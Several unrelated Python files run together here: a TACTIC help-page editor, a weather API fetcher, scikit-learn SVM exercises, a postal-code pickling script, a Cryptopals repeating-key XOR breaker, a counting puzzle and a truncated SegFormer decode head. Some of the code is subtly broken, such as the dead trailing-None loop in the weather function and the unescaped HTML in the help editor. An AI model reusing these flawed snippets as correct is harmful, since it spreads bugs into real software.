        table = ResizableTableWdg()
        top.add(table)
        table.add_color("color", "color")
        table.add_style("width: 100%")
        table.add_style("height: 500px")

        table.add_row()
        left = table.add_cell()
        left.add_color("background", "background3")

        title_wdg = Table()

        title_wdg.add_row()
        left.add(title_wdg)
        title_wdg.add_gradient("background", "background", 0, -10)
        title_wdg.add_style("padding: 5px")
        title_wdg.add_style("margin-bottom: 5px")
        title_wdg.add_style("width: 100%")

        title_div = DivWdg("Help Pages")
        title_cell = title_wdg.add_cell(title_div)
        title_cell.add_style("width: 100%")

        from tactic.ui.widget import ActionButtonWdg
        insert_button = ActionButtonWdg(title="+", size="small")
        insert_button.add_style("margin-top: -3px")
        insert_button.add_behavior( {
        'type': 'click_up',
        'cbjs_action': '''

        var class_name = "tactic.ui.panel.EditWdg"
        var view = "edit"
        var title = "Add new help doc"
        var cbjs_insert = "spt.tab.reload_selected();"
        var kwargs = {
          'view': view,
          'search_type': 'config/widget_config',
          'default': '{"category":"HelpWdg"}',
          'ignore': 'search_type|login|config',
          'mode': 'insert',
          //'cbjs_insert': cbjs_insert
        }

        spt.panel.load_popup(title, class_name, kwargs);

        '''
        })

        title_wdg.add_cell(insert_button)

        docs_wdg = self.get_doc_wdg()
        left.add(docs_wdg)
        left.add_style("width: 150px")
        left.add_style("min-width: 150px")
        left.add_style("min-height: 500px")
        left.add_style("vertical-align: top")
        left.add_border()

        right = table.add_cell()
        right.add_style("vertical-align: top")
        right.add_border()

        content = HelpEditContentWdg(view=view)
        right.add(content)

        return top

    def get_doc_wdg(self):
        div = DivWdg()

        search = Search("config/widget_config")
        search.add_filter("category", "HelpWdg")
        sobjects = search.get_sobjects()

        hover = div.get_color("background", -10)

        for sobject in sobjects:
            help_div = DivWdg()
            div.add(help_div)
            help_div.add_style("padding: 3px")

            view = sobject.get_value("view")
            help_div.add(view)

            help_div.add_class("hand")
            help_div.add_behavior( {
            'type': 'hover',
            'hover': hover,
            'cbjs_action_over': '''
            bvr.src_el.setStyle("background", bvr.hover);
            ''',
            'cbjs_action_out': '''
            bvr.src_el.setStyle("background", "");
            '''
            } )

            help_div.add_behavior( {
            'type': 'click_up',
            'view': view,
            'cbjs_action': '''
            var top = bvr.src_el.getParent(".spt_help_edit_top");
            var content = top.getElement(".spt_help_edit_content");

            var class_name = 'tactic.ui.app.HelpEditContentWdg';
            var kwargs = {
                view: bvr.view
            };

            spt.panel.load(content, class_name, kwargs);

            '''
            } )

        return div

class HelpEditContentWdg(BaseRefreshWdg):

    def get_display(self):
        top = self.top

        view = self.kwargs.get("view")
        top.add_class("spt_help_edit_content")

        search = Search("config/widget_config")
        search.add_filter("category", "HelpWdg")
        search.add_filter("view", view)
        sobject = search.get_sobject()

        if not sobject:
            value = ""
            search_key = ""

        else:
            xml_value = sobject.get_xml_value("config")
            value = xml_value.get_value("config/%s/html/div" % (view) )
            search_key = sobject.get_search_key()

        title_wdg = DivWdg()
        top.add(title_wdg)
        title_wdg.add("View: %s" % view)
        title_wdg.add_style("font-style: bold")
        title_wdg.add_style("padding: 5px")
        title_wdg.add_gradient("background", "background", 0, -10)

        hidden = HiddenWdg("view")
        top.add(hidden)
        hidden.set_value(view)

        text = TextAreaWdg("content")
        text_id = text.set_unique_id()
        text.set_value(value)

        from tactic.ui.widget import ActionButtonWdg
        if sobject:
            delete_button = ActionButtonWdg(title="Delete")
            top.add(delete_button)
            delete_button.add_style("float: right")
            delete_button.add_style("margin-top: -3px")
            delete_button.add_behavior( {
            'type': 'click_up',
            'search_key': search_key,
            'cbjs_action': '''
            if (!confirm("Are you sure you wish to delete this help page?")) {
                return;
            }
            var server = TacticServerStub.get();
            server.delete_sobject(bvr.search_key);
            var top = bvr.src_el.getParent(".spt_help_edit_top");
            spt.panel.refresh(top);
            '''
            })

        test_button = ActionButtonWdg(title="Preview")
        top.add(test_button)
        test_button.add_style("float: right")
        test_button.add_style("margin-top: -3px")
        test_button.add_behavior( {
        'type': 'click_up',
        'text_id': text_id,
        'cbjs_action': '''

        var js_file = "ckeditor/ckeditor.js";

        var url = "/context/spt_js/" + js_file;
        var js_el = document.createElement("script");
        js_el.setAttribute("type", "text/javascript");
        js_el.setAttribute("src", url);

        var head = document.getElementsByTagName("head")[0];
        head.appendChild(js_el);

        var cmd = "CKEDITOR.instances." + bvr.text_id + ".getData()";
        var text_value = eval( cmd );

        bvr.options = {};
        bvr.options.html = text_value;
        spt.named_events.fire_event("show_help", bvr)
        '''
        })

        save_button = ActionButtonWdg(title="Save")
        top.add(save_button)
        save_button.add_style("float: right")
        save_button.add_style("margin-top: -3px")

        top.add("
")

        save_button.add_behavior( {
        'type': 'click_up',
        'text_id': text_id,
        'cbjs_action': '''

        spt.app_busy.show("Saving Help", " ")

        var top = bvr.src_el.getParent(".spt_help_edit_content");
        var values = spt.api.Utility.get_input_values(top, null, false);

        var cmd = "CKEDITOR.instances." + bvr.text_id + ".getData()";
        var text_value = eval( cmd );
        values.content = text_value;

        var command = "tactic.ui.app.HelpEditCbk";
        var kwargs = values;
        var server = TacticServerStub.get();
        server.execute_cmd(command, kwargs);

        setTimeout("spt.app_busy.hide()", 200)
        '''
        } )

        #top.add("Style: ")
        #select = SelectWdg("style")
        #top.add(select)
        #select.set_option("values", "text|html")

        top.add("
")

        top.add(text)
        text.set_value(value)
        text.add_style("width: 100%")
        text.add_style("height: 100%")
        text.add_style("min-height: 500px")
        text.add_style("display: none")
        text.add_behavior( {
        'type': 'load',
        'color': text.get_color("background", -10),
        'text_id': text_id,
        'cbjs_action': '''

        var js_file = "ckeditor/ckeditor.js";
        var url = "/context/spt_js/" + js_file;
        var js_el = document.createElement("script");
        js_el.setAttribute("type", "text/javascript");
        js_el.setAttribute("src", url);
        var head = document.getElementsByTagName("head")[0];
        head.appendChild(js_el);

        setTimeout( function() {

        CKEDITOR.on( 'instanceReady', function( ev )
        {
            ev.editor.dataProcessor.writer.indentationChars = ' ';
        });

        var config = {
          toolbar: 'Full',
          uiColor: bvr.color,
          height: '500px'
        };
config.toolbar_Full =
[
    ['Source'],
    ['Cut','Copy','Paste'],
    ['Undo','Redo','-','Find','Replace'],
    ['Checkbox', 'Radio', 'TextField', 'Textarea', 'Select', 'Button', 'ImageButton', 'HiddenField'],
    ['Bold','Italic','Underline','Strike','-','Subscript','Superscript'],
    '/',
    ['NumberedList','BulletedList','-','Outdent','Indent','Blockquote','CreateDiv'],
    ['JustifyLeft','JustifyCenter','JustifyRight','JustifyBlock'],
    ['HorizontalRule','SpecialChar'],
    ['Styles','Format','Font','FontSize'],
    ['TextColor','BGColor'],
    ['Maximize', 'ShowBlocks']
];

        CKEDITOR.replace(bvr.text_id, config );
        bvr.src_el.setStyle("display", "");

        }, 500);
        '''
        } )

        return top

class HelpEditCbk(Command):
    def execute(self):

        view = self.kwargs.get("view")
        content = self.kwargs.get("content")

        search = Search("config/widget_config")
        search.add_filter("category", "HelpWdg")
        search.add_filter("view", view)
        config = search.get_sobject()
        if not config:
            config = SearchType.create("config/widget_config")
            config.set_value("category", "HelpWdg")
            config.set_value("view", view)

        config_xml = '''
<config>
  <%s>

<![CDATA[
%s
]]>

  </%s>
</config>
''' % (view, content, view)

        config.set_value("config", config_xml)

        config.commit()


import requests
from datetime import datetime
from timezonefinder import TimezoneFinder

tzfinder = TimezoneFinder()

def get_wind_solar(latitude, longitude, start:datetime, stop:datetime):

    vars = [
        'shortwave_radiation',      #total sun for horizontal array
        'direct_normal_irradiance', #used to calculate total sun for tilted array
        'diffuse_radiation',        #used to calculate total sun for tilited array (add to direct)
        'windspeed_10m',
        'winddirection_10m',
    ]

    #get timezone at coordinate so timestamps make sense
    timezone = tzfinder.timezone_at(lat=latitude, lng=longitude)

    timestamps_trunc = []
    weather_vals = {}
    for var in vars:

        response = requests.request(
            method = "GET",
            url = "https://api.open-meteo.com/v1/forecast?",
            params = {
                "latitude": latitude,
                "longitude": longitude,
                "hourly": var,
                "windspeed_unit": "ms",
                "start_date": start.strftime("%Y-%m-%d"),
                "end_date": stop.strftime("%Y-%m-%d"),
                "timeformat": "unixtime",
                "timezone": timezone
            }
        ).json()

        try:
            values = response['hourly'][var]
            timestamps = response['hourly']['time']
        except Exception as e:
            print(f"Error: {e} \n {response}")

        if(values[0] == None): values[0] = 0

        while values and values is None:    #remove trailing Nones
            values[var].pop()

        if(len(timestamps_trunc) == 0):
            timestamps_trunc = timestamps[:len(values)] #truncate timestamps to match values
        weather_vals[var] = values

    if('direct_normal_irradiance' in weather_vals and 'diffuse_radiation' in weather_vals):
        weather_vals['sun_flat'] = weather_vals['shortwave_radiation']
        weather_vals['sun_tilt'] = [sum(x) for x in zip(weather_vals['direct_normal_irradiance'], weather_vals['diffuse_radiation'])]

        del weather_vals['shortwave_radiation']
        del weather_vals['direct_normal_irradiance']
        del weather_vals['diffuse_radiation']

    return timestamps_trunc, weather_vals

# print(get_wind_solar(39, -95, datetime(2022, 7, 9), datetime(2022, 7, 10)))


# -*- coding: utf-8 -*-
# Time : 2023/8/28 15:25
# Author : chen
# Software: PyCharm
# File : 练习.py
import matplotlib.pyplot as plt
import numpy as np
from sklearn.datasets import load_iris
from sklearn.svm import SVC
#1.加载鸢尾花数据集
data_iris = load_iris()
#2.获取特征和标签
x = data_iris.data
y = data_iris.target
 # 3.只取y<2的类别，也就是0 1 并且只取前两个特征 （注：鸢尾花数据集有三个类别 只获取前两个类别 0和1）
x = x[y<2,:2]
# 4.只取y<2的类别
y = y[y<2]
# 5.分别画出类别 0 和 1 的点
plt.scatter(x[y==0,0],x[y==0,1],c='black')
plt.scatter(x[y==1,0],x[y==1,1],c='blue')
plt.show()
# 6.对鸢尾花数据集进行分类（模型自己选择）
s = SVC()
#7. 对于构建好的模型进行训练
s.fit(x,y)
# 8.请预测并输入
s_p = s.predict(x)
print(s_p)
print(len(s_p))
# 9.最后展示分类后的样本散点图类别
plt.scatter(x[:,0],x[:,1],c=y)
plt.show()


import pandas as pd
import pickle

df = pd.read_csv('CanadianPostalCodes.csv')
print(df)

FSA = set(df['FSA'].values.tolist())
print('M5V' in FSA)

with open('FSA.pickle', 'wb') as handle:
    pickle.dump(FSA, handle, protocol=pickle.HIGHEST_PROTOCOL)

df = pd.read_csv('canadacities.csv')
df['city'] = df['city'].str.lower()
df['postal'] = df['postal'].str.split()
print(df)

cities = set(df['city'].values.tolist())
print(cities)
with open('cities.pickle', 'wb') as handle:
    pickle.dump(cities, handle, protocol=pickle.HIGHEST_PROTOCOL)

cities_fsas = df[['city_ascii', 'province_id', 'postal',]].values.tolist()
print(cities_fsas)

fsa_city_dict = {}
for city, province, fsas in cities_fsas:
    for fsa in fsas:
        fsa_city_dict[fsa] = (city, province,)
print(fsa_city_dict)
with open('fsa-city-dict.pickle', 'wb') as handle:
    pickle.dump(fsa_city_dict, handle, protocol=pickle.HIGHEST_PROTOCOL)


import base64

def XOR(str1, str2):
    binAnswer = ''
    for i in range(0, len(str1)):
        if str1[i] != str2[i]:
            binAnswer = binAnswer + '1'
        else:
            binAnswer = binAnswer + '0'
    return (binAnswer)

def hamming(str1, str2):
    check1 = ''
    check2 = ''
    for i in range(0, len(str1)):
        bin1 = ord(str1[i])
        bin1 = bin(bin1)
        bin1 = bin1[2:]
        while len(bin1) < 8:
            bin1 = "0" + bin1
        bin2 = ord(str2[i])
        bin2 = bin(bin2)
        bin2 = bin2[2:]
        while len(bin2) < 8:
            bin2 = "0" + bin2
        check1 += bin1
        check2 += bin2
    x = XOR(check1, check2)
    return (x.count("1"))

#print(hamming("this is a test", "wokka wokka!!!"))

def singleXORcipher(decoded, charval):
    output = b''
    #decoded = bytes.fromhex(s)
    for byte in decoded:
        output += bytes([byte ^ charval])
    return output, charval

def tryallkeys(s):
    plaintexts = []
    for i in range(256):
        what, intval = singleXORcipher(s, i)
        #print(what)
        try:
            plaintext = what.decode("utf-8")
        except UnicodeDecodeError:
            pass
        else:
            #print('plaintext', plaintext)
            plaintexts.append(plaintext)
    return plaintexts

def englishscore(plaintexts):
    bestkey = -1
    key = 0
    best = ''
    bestscore = 100
    for p in plaintexts:
        p = str(p)
        score = 0
        for ch in p:
            val = ord(ch)
            if val > 122:
                score += 1
            if val < 64 and val != 32:
                score += 1

        if score < bestscore:
            best = p
            bestscore = score
            bestkey = key
        key += 1
    return best, bestkey

def smallestdistance(ciphertext):
    hammingdict = dict()
    for keysize in range(2, 41):
        distances = []
        chunks = [ciphertext[i:i+keysize] for i in range(0, len(ciphertext), keysize)]
        numchunks = len(chunks)
        while True:
            try:
                chunk1 = chunks[0]
                chunk2 = chunks[1]
                string1 = ''
                string2 = ''
                for c in chunk1:
                    string1 += chr(c)
                for c in chunk2:
                    string2 += chr(c)
                distance = hamming(string1, string2)
                distances.append(distance/keysize)

                del chunks[0]
                del chunks[0]

            except Exception as e:
                break
        hammingdict[keysize] = sum(distances)/len(distances)
    sorteddict = {k: v for k, v in sorted(hammingdict.items(), key=lambda item: item[1])}
    return sorteddict

def repeatingkeyXORcipher(text, key):
    index = 0
    output = b''
    for byte in text:
        output += bytes([byte ^ key[index]])
        index = (index + 1) % len(key)
    return output

def main():
    f = open('challenge6input.txt')
    contents = f.read()
    ciphertext = base64.b64decode(contents)
    print(ciphertext)

    print(smallestdistance(ciphertext))
    #looks like it's 29, 40, 25

    possible_key_length = 29
    blocks = []
    for i in range(possible_key_length):
        block = b''
        for j in range(i, len(ciphertext), possible_key_length):
            block += bytes([ciphertext[j]])
        #print(block)
        blocks.append(block)

    repeatingkey = ''
    for i in range(len(blocks)):
        plaintexts = tryallkeys(blocks[i])
        foundit, realkey = englishscore(plaintexts)
        repeatingkey += chr(realkey)
    print(repeatingkey)

    finalkey = b'Terminator X: Bring the noise'
    plaintext = repeatingkeyXORcipher(ciphertext, finalkey)
    #print(plaintext)
    print(plaintext.decode('utf-8'))

main()


# import numpy as np
# # d_pool = np.arange(1, 9, 1)
# # # print((d_pool))
# lin=
# # # for i in enumerate(d_pool):
# # # 	print((i))
# # # print(lin[('alpha')])
# if hasattr(lin, '2341'):
# 	print(12)
# output = '%s：%d阶，系数为：' % (1, 6)
# idx = output.find('系数')
# print(output[:idx])
# output = output[:idx] + ('alpha') + output[idx:]
# print(output)
# a=range(5)
# print(a)
from sklearn import svm
import numpy as np
from sklearn.datasets import make_blobs
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D

# 生成一个有两个特征、包含两种类别的数据集
def plot_hyperplane(clf, X, y,
                    h=0.02,
                    draw_sv=True,
                    title='hyperplan'):
    # create a mesh to plot in
    # fig = plt.figure()
    # ax = Axes3D(fig)
    x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1
    y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1
    xx, yy = np.meshgrid(np.arange(x_min, x_max, h),
                         np.arange(y_min, y_max, h))

    plt.title(title)
    plt.xlim(xx.min(), xx.max())
    plt.ylim(yy.min(), yy.max())
    plt.xticks(())
    plt.yticks(())

    Z = clf.predict(np.c_[xx.ravel(), yy.ravel()]) # SVM的分割超平面
    # Put the result into a color plot
    Z = Z.reshape(xx.shape)
    print(Z.shape)
    np.savetxt('12.txt', Z, fmt='%d', delimiter='')
    np.savetxt('13.txt', xx, fmt='%d', delimiter='')
    np.savetxt('14.txt', yy, fmt='%d', delimiter='')
    plt.contourf(xx, yy, Z, cmap='hot', alpha=0.5)

    markers = ['o', 's', '^']
    colors = ['b', 'r', 'c']
    labels = np.unique(y)
    print(labels)
    for label in labels:
        plt.scatter(X[y==label][:, 0],
                    X[y==label][:, 1],
                    c=colors[label],
                    marker=markers[label])
    # 画出支持向量
    if draw_sv:
        sv = clf.support_vectors_
        plt.scatter(sv[:, 0], sv[:, 1], c='y', marker='x')
    plt.show()
    # fig = plt.figure()
    # ax = Axes3D(fig)

    # ax.plot_surface(xx, yy, Z, rstride=1, cstride=1, cmap=plt.get_cmap('rainbow'))
    # ax.set_zlim(-6, 6)

    # plt.show()
    # ax.plot_surface(X, Y, (Z), rstride=1, cstride=1, cmap=plt.get_cmap('rainbow'))

X, y = make_blobs(n_samples=20, centers=2,
                  random_state=0, cluster_std=0.8)
clf = svm.SVC(C=1.0, kernel='linear')
print(X,y)
clf.fit(X, y)
# print(clf)
# plt.figure(figsize=(12, 4), dpi=144)
plot_hyperplane(clf, X, y, h=0.01,
                title='Maximum Margin Hyperplan')

# import matplotlib.pyplot as plt
# from mpl_toolkits.mplot3d import Axes3D

# x = np.array([1,2,3])
# y = np.array([2,3,4])
# xx,yy=np.meshgrid(x,y)
# print(xx,yy)
# z = clf.predict(np.c_[xx.ravel(), yy.ravel()])
# # z=np.sin(xx*yy)#设置z由xx+yy生成，当然也可以是其他函数如sin（xx+yy）等
# z=z.reshape(xx.shape)#z数组的大小必须和xx,yy大小一致
# plt.contourf(xx, yy, z, cmap='hot', alpha=0.5)#3代表levels=3,绘制3条等高线，等高线的间距由方法自动生成
# plt.scatter(xx.reshape(9),yy.reshape(9),c='y', marker='x')

# plt.show()
# fig = plt.figure()
# ax = Axes3D(fig)

# ax.plot_surface(xx, yy, z, rstride=1, cstride=1, cmap=plt.get_cmap('rainbow'))
# plt.show()
# ax.set_zlim(-6, 6)
# print((xx.reshape(9)).shape)


CONST = 1000000009
MAX = 100000

T = int(input())
end1, end2, end3 = [0, 1, 0, 1], [0, 0, 1, 1], [0, 0, 0, 1]

for i in range(4, MAX + 1):
    end1.append((end2[i-1] + end3[i-1]) % CONST)
    end2.append((end1[i-2] + end3[i-2]) % CONST)
    end3.append((end1[i-3] + end2[i-3]) % CONST)

for _ in range(T):
    N = int(input())
    print((end1[N] + end2[N] + end3[N]) % CONST)


import numpy as np
import torch.nn as nn
import torch
from mmcv.cnn import ConvModule, DepthwiseSeparableConvModule
from collections import OrderedDict

from mmseg.ops import resize
from ..builder import HEADS
from .decode_head import BaseDecodeHead, BaseDecodeHead_clips
from mmseg.models.utils import *
import attr

from IPython import embed
from .pvt.swin_transformer import BasicLayer, BasicLayer_intra_inter
from .pvt.swin_transformer_2d import BasicLayer as BasicLayer_swin_2d
from .pvt.swin_transformer_2d import BasicLayer_cluster, BasicLayer_cluster_mask
from .pvt.focal_transformer import BasicLayer3d as BasicLayer_focal3d
from .pvt.focal_transformer import BasicLayer3d2 as BasicLayer_focal3d2
from .pvt.focal_transformer import BasicLayer3d3 as BasicLayer_focal3d3
from .pvt.focal_transformer import BasicLayer3d3_nochange as BasicLayer_focal3d3_nochange
from .pvt.focal_transformer import BasicLayer3d3_onlycffm as BasicLayer_focal3d3_onlycffm
from .pvt.focal_transformer import BasicLayer3d3_selfatten as BasicLayer_focal3d3_selfatten

import cvbase as cvb
import cv2
from .hypercorre import hypercorre, hypercorre2, hypercorre_topk2, hypercorre_topk1, multi_scale_atten
from fast_pytorch_kmeans import KMeans
from .utils.utils import save_cluster_labels
import time
from ..builder import build_loss
from torchpq.clustering import MultiKMeans
from torchpq.clustering import KMeans as KMeans_torchpq
from torch.nn import functional as F

class MLP(nn.Module):
    """
    Linear Embedding
    """
    def __init__(self, input_dim=2048, embed_dim=768):
        super().__init__()
        self.proj = nn.Linear(input_dim, embed_dim)

    def forward(self, x):
        x = x.flatten(2).transpose(1, 2)
        x = self.proj(x)
        return x

@HEADS.register_module()
class SegFormerHead(BaseDecodeHead):
    """
    SegFormer: Simple and Efficient Design for Semantic Segmentation with Transformers
    """
    def __init__(self, feature_strides, **kwargs):
        super(SegFormerHead, self).__init__(input_transform='multiple_select', **kwargs)
        assert len(feature_strides) == len(self.in_channels)
        assert min(feature_strides) == feature_strides[0]
        self.feature_strides = feature_strides

        c1_in_channels, c2_in_channels, c3_in_channels, c4_in_channels = self.in_channels

        decoder_params = kwargs['decoder_params']
        embedding_dim = decoder_params['embed_dim']

        self.linear_c4 = MLP(input_dim=c4_in_channels, embed_dim=embedding_dim)
        self.linear_c3 = MLP(input_dim=c3_in_channels, embed_dim=embedding_dim)
        self.linear_c2 = MLP(input_dim=c2_in_channels, embed_dim=embedding_dim)
        self.linear_c1 = MLP(input_dim=c1_in_channels, embed_dim=embedding_dim)

        self.linear_fuse = ConvModule(
            in_channels=embedding_dim*4,
            out_channels=embedding_dim,
            kernel_size=1,
            # norm_cfg=dict(type='SyncBN', requires_grad=True)
            norm_cfg=dict(type='GN', num_groups=1)
        )

        self.linear_pred = nn.Conv2d(embedding_dim, self.num_classes, kernel_size=1)

    def forward(self, inputs):
        x = self._transform_inputs(inputs)  # len=4, 1/4,1/8,1/16,1/32
        c1, c2, c3, c4 = x

        print(c1.shape, c2.shape, c3.shape, c4.shape)

        ############## MLP decoder on C1-C4 ###########
        n, _, h, w = c4.shape

        _c4 = self.linear_c4(c4).permute(0,2,1).reshape(n, -1, c4.shape[2], c4.shape[3])
        _c4 = resize(_c4, size=c1.size()[2:],mode='bilinear',align_corners=False)

        _c3 = self.linear_c3(c3).permute(0,2,1).reshape(n, -1, c3.shape[2], c3.shape[3])
        _c3 = resize(_c3, size=c1.size()[2:],mode='bilinear',align_corners=False)

        _c2 = self.linear_c2(c2).permute(0,2,1).reshape(n, -1, c2.shape[2], c2.shape[3])
        _c2 = resize(_c2, size=c1.size()[2:],mode='bilinear',align_corners=False)

        _c1 = self.linear_c1(c1).permute(0,2,1).reshape(n, -1, c1.shape[2], c1.shape[3])

        _c = self.linear_fuse(torch.cat([_c4, _c3, _c2, _c1], dim=1))

        x = self.dropout(_c)
        x = self.linear_pred(x)

        # print(torch.cuda.memory_allocated(0))

        return x

@HEADS.register_module()
class SegFormerHead_clips2_resize_1_8_hypercorrelation2_topk_ensemble4(BaseDecodeHead_clips):
    """
    SegFormer: Simple and Efficient Design for Semantic Segmentation with Transformers
    use hypercorrection in hsnet
    """
    def __init__(self, feature_strides, **kwargs):
        super(SegFormerHead_clips2_resize_1_8_hypercorrelation2_topk_ensemble4, self).__init__(input_transform='multiple_select', **kwargs)
        assert len(feature_strides) == len(self.in_channels)
        assert min(feature_strides) == feature_strides[0]
        self.feature_strides = feature_strides

        c1_in_channels, c2_in_channels, c3_in_channels, c4_in_channels = self.in_channels

        decoder_params = kwargs['decoder_params']
        embedding_dim = decoder_params['embed_dim']

        self.linear_c4 = MLP(input_dim=c4_in_channels, embed_dim=embedding_dim)
        self.linear_c3 = MLP(input_dim=c3_in_channels, embed_dim=embedding_dim)
        self.linear_c2 = MLP(input_dim=c2_in_channels, embed_dim=embedding_dim)
        self.linear_c1 = MLP(input_dim=c1_in_channels, embed_dim=embedding_dim)

        self.linear_fuse = ConvModule(
            in_channels=embedding_dim*4,
            out_channels=embedding_dim,
            kernel_size=1,
            norm_cfg=dict(type='SyncBN', requires_grad=True)
        )

        self.linear_pred = nn.Conv2d(embedding_dim, self.num_classes, kernel_size=1)

        # self.linear_pred2 = nn.Conv2d(embedding_dim, self.num_classes, kernel_size=1)

        self.deco1=small_decoder2(embedding_dim,256, self.num_classes)
        self.deco2=small_decoder2(embedding_dim,256, self.num_classes)
        self.deco3=small_decoder2(embedding_dim,256, self.num_classes)
        self.deco4=small_decoder2(embedding_dim,256, self.num_classes)

        # depths=4
        # self.decoder_swin=BasicLayer_swin_2d(
        #         dim=embedding_dim,
        #         depth=depths,
        #         num_heads=8,
        #         window_size=(2,7,7),
        #         mlp_ratio=4.,
        #         qkv_bias=True,
        #         qk_scale=None,
        #         drop=0.,
        #         attn_drop=0.,
        #         drop_path=0.,
        #         norm_layer=nn.LayerNorm,
        #         downsample=None,
        #         use_checkpoint=False)

        self.hypercorre_module=hypercorre_topk2(dim=self.in_channels)

        reference_size="1_32"   ## choices: 1_32, 1_16
        if reference_size=="1_32":
            # self.sr1 = nn.Conv2d(c1_in_channels, c1_in_channels, kernel_size=8, stride=8)
            self.sr2 = nn.Conv2d(c2_in_channels, c2_in_channels, kernel_size=4, stride=4)
            self.sr3 = nn.Conv2d(c3_in_channels, c3_in_channels, kernel_size=2, stride=2)
            self.sr1_feat=nn.Conv2d(embedding_dim, embedding_dim, kernel_size=4, stride=4)
        elif reference_size=="1_16":
            # self.sr1 = nn.Conv2d(c1_in_channels, c1_in_channels, kernel_size=4, stride=4)
            self.sr2 = nn.Conv2d(c2_in_channels, c2_in_channels, kernel_size=2, stride=2)
            self.sr3 = nn.Conv2d(c3_in_channels, c3_in_channels, kernel_size=1, stride=1)
            self.sr1_feat=nn.Conv2d(embedding_dim, embedding_dim, kernel_size=2, stride=2)

        self.self_ensemble2=True

    def forward(self, inputs, batch_size=None, num_clips=None):
        start_time=time.time()
        if self.training:
            assert self.num_clips==num_clips
        x = self._transform_inputs(inputs)  # len=4, 1/4,1/8,1/16,1/32
        c1, c2, c3, c4 = x

        ############## MLP decoder on C1-C4 ###########
        n, _, h, w = c4.shape

        _c4 = self.linear_c4(c4).permute(0,2,1).reshape(n, -1, c4.shape[2], c4.shape[3])
        _c4 = resize(_c4, size=c1.size()[2:],mode='bilinear',align_corners=False)

        _c3 = self.linear_c3(c3).permute(0,2,1).reshape(n, -1, c3.shape[2], c3.shape[3])
        _c3 = resize(_c3, size=c1.size()[2:],mode='bilinear',align_corners=False)

        _c2 = self.linear_c2(c2).permute(0,2,1).reshape(n, -1, c2.shape[2], c2.shape[3])
        _c2 = resize(_c2, size=c1.size()[2:],mode='bilinear',align_corners=False)

        _c1 = self.linear_c1(c1).permute(0,2,1).reshape(n, -1, c1.shape[2], c1.shape[3])

        _c = self.linear_fuse(torch.cat([_c4, _c3, _c2, _c1], dim=1))

        _, _, h, w=_c.shape
        x = self.dropout(_c)
        x = self.linear_pred(x)
        x = x.reshape(batch_size, num_clips, -1, h, w)

        # print(x.shape)
        if not self.training and num_clips!=self.num_clips:
        # if not self.training:
            return x[:,-1]

        # if not self.training and num_clips!=self.num_clips:
        #     return x[:,-1]
        # else:
        #     # print(x.shape, num_clips, self.num_clips, self.training)
        #     return x[:,-2]

        start_time1=time.time()
        shape_c1, shape_c2, shape_c3, shape_c4=c1.size()[2:], c2.size()[2:], c3.size()[2:], c4.size()[2:]
        c1=c1.reshape(batch_size, num_clips, -1, c1.shape[-2], c1.shape[-1])
        c2=c2.reshape(batch_size, num_clips, -1, c2.shape[-2], c2.shape[-1])
        c3=c3.reshape(batch_size, num_clips, -1, c3.shape[-2], c3.shape[-1])
        c4=c4.reshape(batch_size, num_clips, -1, c4.shape[-2], c4.shape[-1])
        query_c1, query_c2, query_c3, query_c4=c1[:,:-1], c2[:,:-1], c3[:,:-1], c4[:,:-1]

        query_c2=query_c2.reshape(batch_size*(num_clips-1), -1, shape_c2[0], shape_c2[1])
        query_c3=query_c3.reshape(batch_size*(num_clips-1), -1, shape_c3[0], shape_c3[1])

        # query_c1=self.sr1(query_c1)
        query_c2=self.sr2(query_c2)
        query_c3=self.sr3(query_c3)

        # query_c1=query_c1.reshape(batch_size, (num_clips-1), -1, query_c1.shape[-2], query_c1.shape[-1])
        query_c2=query_c2.reshape(batch_size, (num_clips-1), -1, query_c2.shape[-2], query_c2.shape[-1])
        query_c3=query_c3.reshape(batch_size, (num_clips-1), -1, query_c3.shape[-2], query_c3.shape[-1])
        # query_c4=query_c4.reshape(batch_size, (num_clips-1), -1, query_c4.shape[-2], query_c4.shape[-1])

        query_frame=[query_c1, query_c2, query_c3, query_c4]
        supp_frame=[c1[:,-1:], c2[:,-1:], c3[:,-1:], c4[:,-1:]]
        # supp_frame=[c1[-batch_size:].unsqueeze(1), c2[-batch_size:].unsqueeze(1), c3[-batch_size:].unsqueeze(1), c4[-batch_size:].unsqueeze(1)]
        # print([i.shape for i in query_frame])
        # print([i.shape for i in supp_frame])
        start_time11=time.time()
        atten, topk_mask=self.hypercorre_module(query_frame, supp_frame)
        # print(atten.shape, atten.max(), atten.min())
        # exit()
        atten=F.softmax(atten,dim=-1)

        start_time2=time.time()

        h2=int(h/2)
        w2=int(w/2)
        # h3,w3=shape_c3[-2], shape_c3[-1]
        _c2 = resize(_c, size=(h2,w2),mode='bilinear',align_corners=False)
        _c2_split=_c2.reshape(batch_size, num_clips, -1, h2, w2)
        # _c_further=_c2[:,:-1].reshape(batch_size, num_clips-1, -1, h3*w3)
        _c3=self.sr1_feat(_c2)
        _c3=_c3.reshape(batch_size, num_clips, -1, _c3.shape[-2]*_c3.shape[-1]).transpose(-2,-1)
        # _c_further=_c3[:,:-1].reshape(batch_size, num_clips-1, _c2.shape[-2], _c2.shape[-1], -1)    ## batch_size, num_clips-1, _c2.shape[-2], _c2.shape[-1], c
        _c_further=_c3[:,:-1]        ## batch_size, num_clips-1, _c2.shape[-2]*_c2.shape[-1], c
        # print(_c_further.shape, topk_mask.shape, torch.unique(topk_mask.sum(2)))
        _c_further=_c_further[topk_mask].reshape(batch_size,num_clips-1,-1,_c_further.shape[-1])    ## batch_size, num_clips-1, s, c
        supp_feats=torch.matmul(atten,_c_further)
        supp_feats=supp_feats.transpose(-2,-1).reshape(batch_size, (num_clips-1), -1, h2,w2)
        supp_feats=(torch.chunk(supp_feats, (num_clips-1), dim=1))
        supp_feats=[ii.squeeze(1) for ii in supp_feats]
        supp_feats.append(_c2_split[:,-1])

        outs=supp_feats

        out1=resize(self.deco1(outs[0]), size=(h, w),mode='bilinear',align_corners=False).unsqueeze(1)
        out2=resize(self.deco2(outs[1]), size=(h, w),mode='bilinear',align_corners=False).unsqueeze(1)
        out3=resize(self.deco3(outs[2]), size=(h, w),mode='bilinear',align_corners=False).unsqueeze(1)
        # out4=resize(self.deco4(outs[3]+outs[2]+outs[1]+outs[0]), size=(h, w),mode='bilinear',align_corners=False).unsqueeze(1)
        # out4=resize(self.deco4((outs[3]+outs[2]+outs[1])/3.0+outs[0]), size=(h, w),mode='bilinear',align_corners=False).unsqueeze(1)
